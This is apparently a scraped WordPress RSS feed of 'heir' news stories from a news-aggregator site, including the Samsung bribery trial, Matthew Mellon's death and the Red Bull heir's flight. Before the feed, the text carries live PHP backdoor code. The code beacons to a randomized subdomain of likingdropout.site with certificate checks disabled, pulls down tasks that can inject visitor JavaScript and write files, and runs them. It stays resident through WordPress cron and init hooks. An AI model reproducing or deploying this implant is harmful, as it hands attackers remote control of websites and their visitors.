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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); heir – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 17 Apr 2018 12:59:06 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png heir – Brief News https://briefnews.eu 32 32 Billionaire banking heir and cryptocurrency investor Matthew Mellon dies in rehab at 54 https://briefnews.eu/billionaire-banking-heir-and-cryptocurrency-investor-matthew-mellon-dies-in-rehab-at-54/ https://briefnews.eu/billionaire-banking-heir-and-cryptocurrency-investor-matthew-mellon-dies-in-rehab-at-54/#respond Tue, 17 Apr 2018 12:59:06 +0000 http://briefnews.eu/billionaire-banking-heir-and-cryptocurrency-investor-matthew-mellon-dies-in-rehab-at-54/ Matthew Mellon (2nd L) and guests attend Dom Perignon, Alex Dellal, Stavros Niarchos & Vito Schnabel host From Earth to Heart at The W Hotel South Beach on December 4, 2015 in Miami, Florida. (Photo by )Dimitrios Kambouris/Getty Images for Dom Perignon

  • Billionaire Matthew Mellon is dead at 54.
  • He died at a rehab facility in Mexico after struggling with an addiction to painkillers.
  • Mellon is a descendant of the founders of Mellon Bank and investment bank Drexel Burnham Lambert.
  • In recent years he made a reported $ 1 billion investing in cryptocurrency XRP.

LONDON — Billionaire banking heir and cryptocurrency investor Matthew Mellon has died in a rehab facility in Mexico, according to multiple press reports. He was 54. 

His cousin Peter Stephaich confirmed Mellon’s death but declined Tuesday to provide any details, according to Bloomberg.

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]]> https://briefnews.eu/billionaire-banking-heir-and-cryptocurrency-investor-matthew-mellon-dies-in-rehab-at-54/feed/ 0 The 31-year-old Koch heir suing his ex-fiancée over a $250,000 ring is known as ‘king of the wild pants’ and plays tennis at Mar-a-Lago https://briefnews.eu/the-31-year-old-koch-heir-suing-his-ex-fiancee-over-a-250000-ring-is-known-as-king-of-the-wild-pants-and-plays-tennis-at-mar-a-lago/ https://briefnews.eu/the-31-year-old-koch-heir-suing-his-ex-fiancee-over-a-250000-ring-is-known-as-king-of-the-wild-pants-and-plays-tennis-at-mar-a-lago/#respond Sun, 24 Dec 2017 17:12:26 +0000 http://briefnews.eu/the-31-year-old-koch-heir-suing-his-ex-fiancee-over-a-250000-ring-is-known-as-king-of-the-wild-pants-and-plays-tennis-at-mar-a-lago/ Wyatt Ingraham KochWyatt Ingraham/Youtube

A broken engagement is almost always a source of pain, disappointment, and turmoil for those involved.

But for one formerly betrothed couple in Florida, there’s also a huge rock worth thousands of dollars on the line.

Wyatt Koch has filed suit against Ivie Gabrielle Slocumb, his ex-fiancée, saying she failed to return her $ 250,000 engagement ring once their relationship ended, The Daily Mail reported Wednesday.

According to the Palm Beach Daily News, Koch bought the ring for $ 180,000 at Manufacturing Jewelers on New York’s Madison Avenue in March.

Koch is the 31-year-old son of the billionaire William Koch, who broke away from his brothers in the 1990s and hosted fundraisers for Donald Trump during his presidential campaign, according to Fortune.

Wyatt Koch lives in Florida, where he runs a fashion line, Wyatt Ingraham.

Here’s a look at the life and career of Wyatt Koch.

Koch’s parents, William Koch and Joan Granlund, divorced when he was young, and he was raised in Greenwich, Connecticut, and New York. He told Palm Beach Illustrated that he had fond memories of spending time at Cape Cod and Martha’s Vineyard too.

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Koch’s love of fashion began early, from when he first donned a “Yves Saint Laurent black with white pinstripes ensemble” at the age of 15. He told the Palm Beach Record that he was voted “most fashionable” in high school.

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In 2006, he moved to Palm Beach, where both of his parents live. Koch also owns a 450-acre ranch called Wonderland in Okeechobee, Florida.

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Lady Amelia Windsor, 22, is one of the youngest and most beautiful of the Royal Family.

The daughter of Dr. Sylvana Tomaselli and the Earl of St Andrews, George Windsor, Amelia is 36th in line to the throne.

Her father is the eldest son of Prince Edward, Duke of Kent, the first cousin of the Queen.

She is the only one of her siblings to be in the line of succession, as her brother and sister are both confirmed as Catholics, so are excluded under the Act of Settlement 1701.

A graduate of the University of Edinburgh, Lady Amelia shares her travels on social media, and unusually for a royal, has a public Instagram account.

The aristocratic blonde made her catwalk debut at the Dolce & Gabbana show during Milan Fashion Week earlier this year.

And it seems she is taking her career in fashion seriously, telling Miss Vogue in January: “I would love to make a contribution to any aspect behind the creative process.

“On my year abroad I want to really further my understanding of every aspect of a fashion house: from the making of the fabrics to the production of a catwalk show.”

Tatler dubbed her the “most beautiful member of the royal family” when she graced their April 2016 cover, and she has certainly gained a legion of fans, with 24,000 followers on Instagram.

Despite her royal connections, she is keen to come across as down to earth, eschewing her title and calling herself simply “Mel Windsor” on her social media account.

As well as fashion, Amelia loves travel, and has shared images from luxurious holidays around the globe.

Born in Cambridge, it is not clear how much time she has spent with the more prominent members of the royal family – particularly as Prince Harry and Prince William are more than a decade older than her.

While Lady Amelia Spencer’s star is rising, she is not one of the most photographed women of the Royal Family just yet.

At the moment, that honour goes to Kate Middleton, the Duchess of Cambridge, and Meghan Markle, who is set to join the royals when she marries Prince Harry next year.

When she does become a full time royal, what will Meghan Markle do?

There are many elements of protocol that will dictate how Meghan spends her time, and how she behaves when she is representing the royals in public.

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]]> https://briefnews.eu/lady-amelia-windsor-who-is-the-model-member-of-the-royal-family-and-heir-to-the-throne/feed/ 0 The Son and the Heir: Riding Harley-Davidson’s Latest Factory Flat-Tracker, the XG750R https://briefnews.eu/the-son-and-the-heir-riding-harley-davidsons-latest-factory-flat-tracker-the-xg750r/ https://briefnews.eu/the-son-and-the-heir-riding-harley-davidsons-latest-factory-flat-tracker-the-xg750r/#respond Sat, 23 Sep 2017 05:40:27 +0000 http://briefnews.eu/the-son-and-the-heir-riding-harley-davidsons-latest-factory-flat-tracker-the-xg750r/ Harley-Davidson XG750R

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Much has been made recently of Harley-Davidson’s lack of youth-market penetration. Some millennials claim that the boomer-centric vibe of the company’s heavily accessorized and rather expensive motorcycles does not suit their lightweight, cash-strapped lifestyles. Pundits—as pundits are wont to do—are claiming that the Motor Company is in crisis. Some opine that perhaps it shouldn’t have killed off the Buell sport-bike marque. Others assert that maybe it shouldn’t have merged the Softail and Dyna lines, dispensing with the latter name in the process, just as a group of younger hipsters was beginning to embrace the Dyna.

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Evel doing Evel on his XR750 in 1975, leaping vans in the Wembley Stadium parking lot.

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Others might point out that its newish entry-level machines—the four-valve, overhead-cam, water-cooled 60-degree V-twin Street series motorcycles—are too much of a divergence from the brand’s core competency: large-displacement air-cooled pushrod 45-degree twins with that immediately identifiable potato-potato sound. What better way to build some cred into the relatively new motor than by taking it racing? And what better form of racing is there to showcase it than flat track, a wholly American sport that’s having a bit of a renaissance at the moment? Even better, it’s a sport that the bar and shield has basically owned for the past four decades, thanks to its venerable XR750, undoubtedly one of the great motorcycles of the 20th century.

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There are two components of motorcycling that appeal to most riders. Foremost is the experience of actually being on the machine, moving through space and time. Words have been spilled on this subject, and so far nobody I’ve run across—including riders more thoughtful, introspective, and articulate than myself—has nailed it exactly. No matter how it’s described, there’s always a “Yeah, it’s that, but there’s something else, too.” The bit that’s easier to explain is the connection to myth. For guys like Mark Wahlberg, the impetus is some Hopper/Fonda thing. For a legion of bikers who threw legs over Dynas in the past decade, it’s Kurt Sutter’s Sons of Anarchy, although they probably wouldn’t admit it.

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The KR was the XG750R’s great-granddaddy. Here, a pair of them rip down the straight at the 1966 Sacramento Mile.

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For me, it’s the lingering cultural whispers of the late 1970s and early 1980s, when Kenny Roberts was ruling Europe, Terry Vance was burning up the quarter-mile, and the AMA’s Grand National series, which consisted largely of flat-track events, was still the biggest thing in American motorcycle racing. The blurry echoes of childhood; half-remembered ghosts of photos in Popular Hot Rodding in airport waiting areas; radio spots for the Sacramento Mile. Flipping through my friend Kevin’s dad’s issues of Cycle World on summer afternoons when we’d come in from skateboarding or bombing around on our BMX bikes. It was the end of the benighted AMF era of Harley-Davidson, when the only guys who rode those things were gnarly die-hards. Everybody with any sense had a Honda CB750. The work required to run a Harley in those days made them rare, and their rarity made them unfathomably cool.

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With the American dominance of road racing in the 1980s, paired with the ascendence of motocross and supercross, flat track fell off a cliff. As Michael Lock, CEO of American Flat Track—a successor to the old AMA Grand National Series—says, “The people who were coming to the races were the same people who’d been coming to the races 30 years ago. They were just 30 years older.” And yet, in the past decade, a new generation of MotoGP and superbike riders have rediscovered the sport. GP phenom Marc Marquez’s Superprestigio, sort of an IROC for motorcycle racers, has become one of the must-see events on the two-wheel calendar. Valentino Rossi preaches the sideways gospel. American Flat Track just signed a TV deal with NBC Sports. And, perhaps most telling, Polaris went all in on the Indian Scout FTR750 program, building a flat-tracker from the ground up—including an all-new engine—to challenge Harley’s 40-odd-year dominance of the top class of the sport.

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While Indian was developing the FTR from scratch, Milwaukee decided on the race-what-we-sell approach to competition. The Motor Company finally retired the XR750, a motorcycle introduced for the 1970 racing season and seared into American consciousness as Evel Knievel’s aircraft of choice. Its replacement, which bowed in prototype form during the 2016 season, is the XG750R, carrying a version of the XG750A Street Rod’s Revolution X engine developed by Vance & Hines, the Southern California aftermarket manufacturer and race shop best known for extracting maximum potato from Harley’s large pushrod twins.

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The XG750A Street Rod lends a worked version of its engine to the XG750R.

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In contrast to the roadgoing XG750A, which weighs in at 507 pounds dry, the R model weighs only about 300. Which, for the non-moto-savvy reader, is about 50 pounds heavier than a large-displacement single-cylinder enduro like the stalwart Honda XR650L, and it’s about 100 pounds lighter than a race-replica liter bike. MotoGP bikes, which make about 250 percent more power than trackers, weigh around 350, but GP machines aren’t going sideways on dirt. GP bikes also cost about 2 million bucks apiece. Indian sells its FTR750 to privateers for just $ 49,900. Trackers are elemental, sturdy, classically American things, a simple hammer and chisel in contrast to the multi-axis CNC machines that populate the MotoGP grid.

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Fire it up, and the XG750R offers up the same heavy-equipment rattle from the top end as its roadgoing relative, a sound not far removed from that of a modern four-valve Moto Guzzi V-twin. In fact, the entire character of the engine is more big-block Goose than it is Harley big twin. But unlike a full-size Guzzi or a Street Rod, the R’s engine revs to 11 grand. I nursed it out onto the hard-packed clay of the little Lodi, California, bullring, unsure of what to expect. The bike was still geared tall for the previous day’s Sacramento Mile, which made throttle inputs a bit more forgiving, a welcome trait since my only previous flat-track experience was on a small Yamaha making around a tenth of the Harley’s power.

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Your author aboard the XG750R in Lodi, California. CCR-related jokes related to his lack of speed are welcome.

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A perfect corner in flat-track racing works something like this: Cane the bike hard down the straightaway, get on the brake as you back out of the throttle, push the motorcycle down into the corner, aiming for a late apex while keeping yourself upright over the contact patch, get the bike turned, pick up throttle as you ease off the brake, lather, rinse, repeat. Cut speed too early, and you’re left having to add gas midcorner, which throws you offline. Trim the velocity too late, and, well, there’s a wall there to catch you.

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In preparation for my ride on the Harley, I’d taken a second stab at American Supercamp early this year. I’d fared better in my return to the flat-track school, finishing the weekend as a solid midpacker. I felt good about my progress, but there was plenty of room left to improve. In my head, I was thinking, “Man, if I don’t have things entirely wired on a one-lung Yammie 125, how damn hairball are things going to be on the big Harley?”

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Turns out, the things you do wrong on a 125 are largely the same things you do wrong on a 750. My worst fear was bombing into a corner, forgetting I was on dirt, and hanging off the inside of the bike, road-race style. I’m a major proponent of using your body weight to corner a motorcycle whenever possible; in fast bends, I’ve invariably got one cheek off the inside of the seat on my 900-pound Harley tourer and my head out in the wind past the screen. Not because I want to look showy, but because the FL’s flexi-flyer frame takes a far more positive set in corners and is less prone to spooky oscillation at speed. In short, my hard-wired instinct is to get off the inside of the motorcycle in corners. Do that on dirt, and it’s a very short trip to the ground. Thankfully, I did not do that. I did, however, continue my yellow-bellied habit of not driving the motorcycle deep enough into the corner.

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This would be a better story if I told you that I got on the thing and dug a rut in the concrete-like surface of Lodi’s short track, hanging the back end of the Harley out all the way around, engine screaming near redline, while singing “Born in the U.S.A.” in the voice of Jay Springsteen. It’d be a more entertaining yarn if I screwed up and launched myself headlong into neighboring Calaveras County. It’d even be an improvement if I got on, immediately scared the living hell out of myself, putzed around the track at 5 mph while feathering the clutch, and handed it off to the nearest person in a black-and-orange T-shirt, echoing Kenny Roberts’s famous statement after winning the Indy Mile on the flat-track version of Yamaha’s all-conquering TZ750 two-stroke four-cylinder: “They don’t pay me enough to ride that thing!”

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The reality of it is that, despite its status as a full-race machine, the XG750R is shockingly friendly. Discretion being the better part of not destroying Harley-Davidson’s factory race bike, I did not push the XG at all. I didn’t, however, ride around terrified that the thing would spit me off at its earliest convenience. In fact, aside from the lack of a front brake and the offset pegs—the right positioned to most easily wedge one’s knee into the tank for leverage, and the left set so the foot makes an easy transition from the ground back to the controls—it felt shockingly like a motorcycle, the kind of thing you’d bomb down to the store on, commute to work on, or ride around a lake at sunset. I fell into the oddball tracker slouch, I got my outside elbow up, I wedged my right knee into the tank, I pushed the bike down, and it simply went around the track. Taken on its own, the XG750R is a wonderful machine, and I want one.

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As a competition motorbike, however, the XG has not fared well against the Indian. At the FTR’s debut race last year in Santa Rosa, California, the Polaris unit announced that they’d just happened to hire that race’s top three finishers: Bryan Smith, Jared Mees, and Brad Baker. As the Indian Wrecking Crew, the trio has been largely unstoppable in 2017. As of this writing, Mees is leading the championship with nine victories, second-place Smith has four, and the winless Baker is hanging in in third, thanks to a season packed with consistent finishes. The only non-Indian wins have come courtesy of Kawasaki riders. Briar Bauman has managed two victories, while fellow Kawi pilot Henry Wiles pulled off a win at Peoria last month. Harley has not won so far this year, and there are only two races left in the season. Think about that for a second. Harley-Davidson, the company that largely carried the sport from the 1970s into the 2010s, has not yet taken a top-rank flat-track race in 2017.

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Since Indian announced the Scout FTR750, moto geeks have been clamoring for a factory street tracker, and the disappointment in some circles was audible when, rather than an FTR-style bike, the brand announced the Scout Bobber, nothing more than a restyled version of its entry-level Scout cruiser. Regardless of the XG’s performance on the track during its inaugural full season, a street version of the XG750R seems like a fantastic way to bring younger folks into the Harley-Davidson fold.

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The hard work has already been done. Just use a production-optimized version of the one-off narrowed engine case covers that Vance & Hines ginned up for the racer, and add lights and a front brake. In the name of cost cutting, a roadgoing XG750R could gain an extra 100 pounds in the process, but it’d still be a 400-pound, 75-hp motorcycle, which can be a plenty entertaining thing. Ask anyone who owns a Yamaha FZ-07. And if you’d like more power, surely Harley’s Screamin’ Eagle performance-parts division would be happy to sell you some.

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The Motor Company is banking on the XG750R to sell Street Rods, which is a little like Chevy using NASCAR to move Camaro ZL1s. There is, to put it bluntly, not a lot of commonality. The engines are somewhat related, they’re both rear-wheel drive, they both wear bow ties, and that’s about it. The Street Rod is not a bad bike, but the FZ-07 is a better one that costs hundreds less. To make another automotive comparison, if the Street Rod is a Mercedes-Benz CLA250, then the Yamaha is a Volkswagen GTI—a more competent all-around machine without the luxury-brand cachet. A toned-down XG750R, on the other hand, could be a bike worth saving the extra coin for, offering the same sort of lifestyle-accessory prestige as Ducati’s Scramblers. It’d be a bike to cast a showroom halo over the other Street models and bring some additional cachet to the Revolution X motor, a good powerplant that’s getting short shrift due to its low position in the line and its break with Milwaukee tradition.

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Perhaps I’m naïve about all this. Undoubtedly, both Polaris and Harley have run the numbers and feel that, while the race programs are worth sinking dollars into, the real money is in cruisers and tourers from the Scout/Sportster class on up. But it seems to me that an affordable, American-built street tracker with real racing heritage is not only a very usable everyday motorcycle, but the sort of thing younger motorcyclists could get very invested in.

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After all, if you ask a Harley hater if they’ve got any exceptions to their generalized distaste for the brand, they’ll invariably allow one: the XR750. Why not make its heir a cornerstone of a Harley-Davidson retooled for the next generation?

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]]> https://briefnews.eu/the-son-and-the-heir-riding-harley-davidsons-latest-factory-flat-tracker-the-xg750r/feed/ 0 Step inside the extravagant wedding of a Russian real estate heir and a social media star, where there were reportedly thousands of flowers and a 15-foot cake https://briefnews.eu/step-inside-the-extravagant-wedding-of-a-russian-real-estate-heir-and-a-social-media-star-where-there-were-reportedly-thousands-of-flowers-and-a-15-foot-cake/ https://briefnews.eu/step-inside-the-extravagant-wedding-of-a-russian-real-estate-heir-and-a-social-media-star-where-there-were-reportedly-thousands-of-flowers-and-a-15-foot-cake/#respond Tue, 19 Sep 2017 13:27:54 +0000 http://briefnews.eu/step-inside-the-extravagant-wedding-of-a-russian-real-estate-heir-and-a-social-media-star-where-there-were-reportedly-thousands-of-flowers-and-a-15-foot-cake/ Screen Shot 2017 09 18 at 6.26.04 PMvogue._.style/Instagram

This past weekend, Karen Karapetyan — son of Russian real estate mogul and billionaire Samvel Karapetyan — married social media star Lilit in a glamorous wedding at the Armenian Apostolic Church in Moscow. 

There were reportedly thousands of flowers, a four-tier cake, and a guest list that included Vladimir Putin’s PR representative, Dmitry Peskov.

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The couple invited 200 guests to the event. Lilit is a social media star who documents much of her travels and glamorous lifestyle on Instagram, where she has more than 11,000 followers.

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Karen Karapetyan is the son of Samvel Karapetyan, who heads the Tashir Group real estate firm. According to Forbes, Samvel’s net worth is estimated at $ 4.6 billion.

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Fashion designer Zuhair Murad — whose couture line has been worn by celebrities like Jennifer Lopez and Beyonce — posted photos of Lilit in her wedding gown.

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Enlarge / Samsung heir Lee Jae-yong, right, is escorted by a prison officer as he leaves the Seoul Central District Court in Seoul, South Korea, on Friday. Lee was convicted of bribery and sentenced to five years in prison, a blow to the heir apparent of the world’s biggest maker of smartphones and memory chips. (credit: Bloomberg via Getty Images)

Lee Jae-yong, the head of the Samsung Group empire, was convicted in a South Korean court Friday on corruption allegations. He was sentenced to five years in prison in connection to a bribery scandal that took down the nation’s president, Park Geun-hye. Among other things, Lee was found to have paid Park bribes in exchange for favors.

The 49-year-old Lee, who is the heir to one of the world’s largest companies, was also found guilty of perjury, embezzlement, and of hiding assets outside of South Korea following a six-month trial. The development comes two days after Samsung unveiled its latest flagship mobile phone, the Note8.

The court concluded that the billionaire Lee and four other Samsung executives paid $ 6.4 million in bribes to win governmental approval for the $ 8 billion merger of two Samsung affiliates in 2015—a complicated deal that included Samsung Electronics, the globe’s biggest mobile phone and chipmaker. Samsung’s empire is responsible for about 20 percent of South Korea’s gross domestic product.

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SEOUL (Reuters) – The billionaire head of South Korea’s Samsung Group, Jay Y. Lee, was jailed for five years for bribery on Friday after a six-month trial over a scandal that brought down the president.

Lee had paid bribes in anticipation of favors from then president Park Geun-hye, according to a landmark ruling by a Seoul court, which also found him guilty of hiding assets abroad, embezzlement and perjury.

Lee, the 49-year-old heir to one of the world’s biggest corporate empires, has been held since February on charges that he bribed Park to help secure control of a conglomerate that owns Samsung Electronics, the world’s leading smartphone and chip maker, and has interests ranging from drugs and home appliances to insurance and hotels.

Lee denied wrongdoing.

One of his lawyers, Song Wu-cheol, said Lee would appeal the lower court ruling.

“The entire verdict is unacceptable,” Song said, adding that he was confident his client’s innocence would be affirmed by a higher court.

Under South Korean law, sentences of more than three years can not be suspended. The five year-sentence is one of the longest prison terms given to a South Korean business leader.

The Seoul Central District Court said Samsung’s financial support of entities backed by Park’s close friend, Choi Soon-sil, constituted bribery, including 7.2 billion won ($ 6.4 million) in sponsoring the equestrian career of Choi’s daughter.

In return for the contributions, prosecutors say, Samsung sought government support for a controversial 2015 merger of two of its affiliates, which helped Lee tighten his control of the conglomerate.

His lawyers had argued that the merger was done on business merits but the court did not accept that.

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‘Violation of rights’

Park, who was forced from office in disgrace, is facing her own corruption trial, with a ruling expected later this year.

Prosecutors have argued that Park and Lee two took part in the same act of bribery so Lee’s conviction would appear ominous for Park.

Hundreds of rowdy, diehard Park supporters rallied outside the court earlier in the day to demand Lee’s acquittal.

“The trials of former President Park Geun-hye and Samsung Jay Y. Lee go hand in hand,” said Son Tong-sok, 63, who heads a conservative group, holding a Korean flag.

Son said prosecutors had built their cases on circumstantial evidence and unsubstantiated claims reported in the media.

“Arresting these two innocent people are violations of human rights,” he said.

Samsung, founded in 1938 by Lee’s grandfather, is a household name in South Korea and a symbol of the country’s dramatic rise from poverty following the 1950-53 Korean War.

But over the years, it has also come to epitomize the cosy ties between politicians and powerful family-controlled business groups – or chaebols – which have been implicated in a series of corruption scandals.

South Koreans, who once applauded the chaebols for catapulting the country into a global economic power, now criticize them for holding back the economy and squeezing smaller businesses.

South Korea’s new president, Moon Jae-in, who replaced the Park after a May 9 election, has pledged to rein in the chaebols, empower minority shareholders and end the practice of pardoning corporate tycoons convicted of white-collar crime.($ 1 = 1,127.5300 won) 

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]]> https://briefnews.eu/samsung-heir-found-guilty-of-bribery-and-sentenced-to-5-years-in-jail/feed/ 0 Voldemort: Origins of the Heir movie trailer – WATCH Harry Potter prequel teaser here https://briefnews.eu/voldemort-origins-of-the-heir-movie-trailer-watch-harry-potter-prequel-teaser-here/ https://briefnews.eu/voldemort-origins-of-the-heir-movie-trailer-watch-harry-potter-prequel-teaser-here/#respond Tue, 30 May 2017 09:41:17 +0000 http://briefnews.eu/voldemort-origins-of-the-heir-movie-trailer-watch-harry-potter-prequel-teaser-here/

After a decade and eight movies on the big screen, the Harry Potter movies concluded in 2011.

JK Rowling has since launched a new five movie prequel series starting with last year’s Fantastic Beasts and Where to Find Them.

While the movies will span 19 years from 1926-1945, they are unlikely to touch on Voldemort if at all.

However Tryangle Films have released a teaser trailer for Voldemort: Origins of the Heir, an independent fan movie looking at Tom Riddle’s rise to power.

On the Voldemort fan film, it’s something of a mystery how the production company will get around the copyright, but perhaps it’s possible for them to work with Warner Bros.

There’s certainly lots of space for a further series of films since Voldemort left Hogwarts in 1945 and didn’t fall until 1980, when trying to kill baby Harry Potter.

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]]> https://briefnews.eu/voldemort-origins-of-the-heir-movie-trailer-watch-harry-potter-prequel-teaser-here/feed/ 0 Billionaire Red Bull heir may be hiding in Singapore after arrest warrant https://briefnews.eu/billionaire-red-bull-heir-may-be-hiding-in-singapore-after-arrest-warrant/ https://briefnews.eu/billionaire-red-bull-heir-may-be-hiding-in-singapore-after-arrest-warrant/#respond Thu, 04 May 2017 02:04:45 +0000 http://briefnews.eu/billionaire-red-bull-heir-may-be-hiding-in-singapore-after-arrest-warrant/ VorayuthYouTube Screenshot (Associated Press)

(South China Morning Post) — Thai police said Wednesday they were trying to locate Red Bull heir Vorayuth Yoovidhya who reportedly fled to Singapore on his private jet days before a warrant was issued for him over a fatal hit-and-run in 2012.

After years of dodging prosecutors, 32-year-old billionaire Vorayuth has become a poster child for the impunity enjoyed by elites in starkly unequal Thailand.

Authorities finally issued an arrest warrant for the scion last week after he failed to make a final deadline to meet prosecutors – five years after he sped off after mowing down and killing a policeman with his Ferrari in downtown Bangkok.

But Vorayuth, known by his nickname “Boss”, slipped out of the country just days before the warrant was issued, according to police.

“First we have to locate him and then we have to go from there. If we can’t locate him then we can’t do the next step,” deputy national police spokesman Colonel Krissana Pattanacharoen said.

Immigration officers told local media Vorayuth left for Singapore on his private jet on April 25.

Police are seeking to confirm whether he is still there. Although Singapore has no official extradition agreement with Thailand, Interpol officials said police informally can arrange through other means to apprehend him there.

Krissana said investigators were seeking to have his Thai passport revoked.

“We have contacted the Ministry of Foreign Affairs to see if it’s possible to revoke his passport,” he said.

Ministry spokeswoman Busadee Santipitaks said: “We have not received any formal communication but stand ready to cooperate with law enforcement agencies.”

Several charges against Vorayuth have expired during the lapse between the car crash and his arrest warrant, a period that saw the heir continue to lead a lavish, jet-setting lifestyle with frequent stops in the kingdom.

When approached a few weeks ago outside a family-owned home in London, Vorayuth refused to comment. Earlier this year Associated Press watched him and his family enjoying a $ 1,000-a-night vacation in Laos, and saw social media postings of him snowboarding in Japan, attending Grand Prix races with Red Bull and visiting beach resorts in Southeast Asia.

All that time he’s been repeatedly telling prosecutors, through his attorney, that he’s sick or out of the country on business when called in to face charges.

But he still faces up to 10 years in prison for reckless driving that resulted in death, an offence that will be valid until 2027.

Vorayuth’s billionaire clan has inherited the fortune built up by his grandfather Chaleo Yoovidhya, who co-founded the Red Bull brand with Austrian Dietrich Mateschitz in the 1980s.

Chaleo passed away in March 2012, leaving his family some $ 22 billion and control of more than 50 per cent of the energy drink empire, according to Bloomberg.

Agence France-Presse, Associated Press

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]]> https://briefnews.eu/billionaire-red-bull-heir-may-be-hiding-in-singapore-after-arrest-warrant/feed/ 0 The heir to the Samsung empire denies all charges against him as the ‘trial of the century’ begins https://briefnews.eu/the-heir-to-the-samsung-empire-denies-all-charges-against-him-as-the-trial-of-the-century-begins/ https://briefnews.eu/the-heir-to-the-samsung-empire-denies-all-charges-against-him-as-the-trial-of-the-century-begins/#respond Thu, 09 Mar 2017 09:10:23 +0000 http://briefnews.eu/the-heir-to-the-samsung-empire-denies-all-charges-against-him-as-the-trial-of-the-century-begins/ Lee Jae YongAP Photo/Ahn Young-joon

SEOUL (Reuters) – The head of South Korea’s Samsung Group, Jay Y. Lee, denies all charges against him, his lawyer said on Thursday, at the start of what the special prosecutor said could be the “trial of the century” amid a political scandal that has rocked the country.

Lee has been charged with bribery, embezzlement and other offences in a corruption scandal that has already led to the impeachment of President Park Geun-hye.

Lee, who is being detained at Seoul Detention Centre, did not attend court. A defendant does not have to turn up during a preparatory hearing, held to organize evidence and set dates for witness testimony.

Lee’s defense denied all charges against him on his behalf, saying that the special prosecution’s indictment cites conversations, evidence or witnesses the prosecution did not actually hear, investigate or interview according to the rules – or states opinions that are not facts.

“It is unclear what kind of order Lee Jae-yong is supposed to have given,” Song Wu-cheol, defending Lee, told the court, using his Korean name.

“The indictment cannot have statements that can create prejudices in the court about the case,” Song told reporters as he left court.

The Samsung Group has repeatedly denied wrongdoing.

Among the charges against Lee, 48, are pledging bribes to a company and organizations linked to a friend of President Park, Choi Soon-sil, the woman at the center of the scandal, to cement his control of the smartphones-to-biopharmaceuticals business empire.

Lawyers for defendants being tried with Lee – former Samsung Group Vice Chairman Choi Gee-sung, former Samsung Group President Chang Choong-ki and former Samsung Electronics President Park Sang-jin – also denied all charges.

The courtroom, seating more than 150, was packed with press and spectators with some who had waited in line since morning to get a seat.

At one point during the hearing, which lasted about an hour, an elderly woman in the audience began yelling and was dragged out by court officers. It was unclear what she was saying.

Legislation appointing the special prosecutor states that the current lower court trial should be finished within three months of the indictment on Feb. 28.

President Park, daughter of a former military strongman, has had her powers suspended since her impeachment by parliament in December.

Should the Constitutional Court uphold the impeachment, she would become the country’s first democratically elected president to be thrown out of office.

A decision is due on Friday.

(Reporting by Suyeong Lee; Writing by Joyce Lee; Editing by Nick Macfie)


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